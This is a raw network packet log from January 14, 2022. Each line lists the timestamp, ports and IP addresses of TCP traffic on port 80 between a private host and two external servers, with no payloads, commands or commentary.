Jan 14, 2022 12:30:16.770396948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.770499945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.770597935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.770688057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.770785093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.770874977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.770924091 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.770973921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.771110058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.771157026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.771266937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.771367073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.771507978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.771620989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.771820068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.771948099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.772036076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.772136927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.772226095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.772382975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.772483110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.772603989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.772706985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.772795916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.772896051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.772994995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.773081064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.773178101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.773214102 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.773227930 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.773276091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.773277998 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.773371935 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.773386002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.773478031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.773561001 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.773566961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.773597002 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.773667097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.773677111 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.773766994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.773786068 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.773880005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.773917913 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.773967981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.774058104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.774157047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.774243116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.774348021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.774435997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.774535894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.774564028 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.774596930 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.774637938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.774736881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.774840117 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.774844885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.774874926 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.774967909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.775058985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.775077105 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.775124073 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.775182962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.775247097 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.775294065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.775394917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.775487900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.775516987 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.775530100 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.775589943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.775692940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.775722980 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.775748968 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.775794983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.775897026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.775988102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.776087046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.776175022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.776273966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.776386023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.776483059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.776572943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.776673079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.776760101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.776860952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.776879072 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.776920080 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.776959896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.777061939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.777147055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.777247906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.777376890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.777475119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.777561903 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.777662992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.777702093 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.777713060 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.777761936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.777863026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.777873993 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.778239965 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.778278112 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.778381109 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.778615952 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.778628111 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.779000044 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.779159069 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.779197931 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.779400110 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.779438972 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.779601097 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.779757977 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.779786110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.779874086 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.779907942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.779999018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.780081034 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.780102015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.780199051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.780244112 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.780283928 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.780303001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.780441046 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.780599117 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.780761003 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.780774117 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.780823946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.780917883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.782110929 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.782124043 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.796917915 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.816569090 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816590071 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816601992 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816620111 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816637039 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816654921 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816667080 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.816673994 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816692114 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816710949 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816715956 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.816729069 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816742897 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.816745996 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816766024 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816782951 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816787958 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.816802025 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816821098 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816838026 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.816839933 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816842079 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.816857100 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816871881 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816893101 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816901922 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.816910982 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816922903 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816932917 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.816936016 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816951036 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816967964 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816979885 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.816982985 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.816992044 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.817006111 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.817022085 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.817024946 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.817039013 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.817054987 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.817056894 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.817070961 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.817081928 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.817087889 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.817105055 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.817106009 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.817121983 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.817131042 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.817137957 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.817154884 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.817167997 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.817172050 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.817188025 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.817203045 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.817208052 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.817224979 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.817238092 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.817239046 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.817256927 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.817265987 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.817274094 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.817291975 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.817308903 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.817326069 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.817337990 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.817343950 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.817361116 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.817368984 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.817419052 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.826716900 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.827142954 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.827219963 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.827378988 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.828257084 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.828699112 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.828744888 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.837908030 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.839422941 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.839442968 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.839453936 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.839518070 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.839739084 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.842258930 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.870739937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.870898008 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.875148058 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875165939 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875183105 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875200033 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875216961 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875221014 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.875232935 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875248909 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875266075 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875269890 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.875283003 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875298977 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875303984 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.875315905 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875333071 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875349998 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875350952 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.875368118 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875384092 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875386000 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.875401974 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875407934 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.875423908 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875441074 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.875442028 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875459909 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875473022 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.875477076 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875494003 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875511885 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875519037 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.875528097 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875545025 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875549078 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.875560999 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875576973 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875583887 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.875593901 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875607967 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.875621080 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875638962 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875657082 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875659943 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.875674963 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875691891 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875694990 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.875710011 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875725985 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875730038 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.875741959 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875758886 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875761986 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.875775099 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875791073 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875798941 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.875808001 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875823021 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.875824928 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875843048 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875858068 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875874043 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.875874996 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875890970 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875906944 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875910044 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.875924110 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875931978 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.875940084 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875956059 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:16.875962973 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.875999928 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.878973961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.879081011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.879184008 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.879272938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.879375935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.879463911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.879565001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.879653931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.879755020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.879843950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.879941940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.887134075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.887320995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.887449980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.887551069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.887639999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.887741089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.887825966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.887926102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.888010979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.888108969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.888199091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.888298035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.888386965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.888530016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.888637066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.888736963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.888825893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.888923883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.889009953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.889112949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.889195919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.889298916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.889388084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.889487982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.889573097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.889672995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.889760971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.889863968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.889964104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.890062094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.890147924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.890247107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.890335083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.890433073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.890522003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.890621901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.890719891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.890808105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.890908003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.890995026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.891094923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.891181946 CET	49914	80	192.168.2.4	185.215.113.35
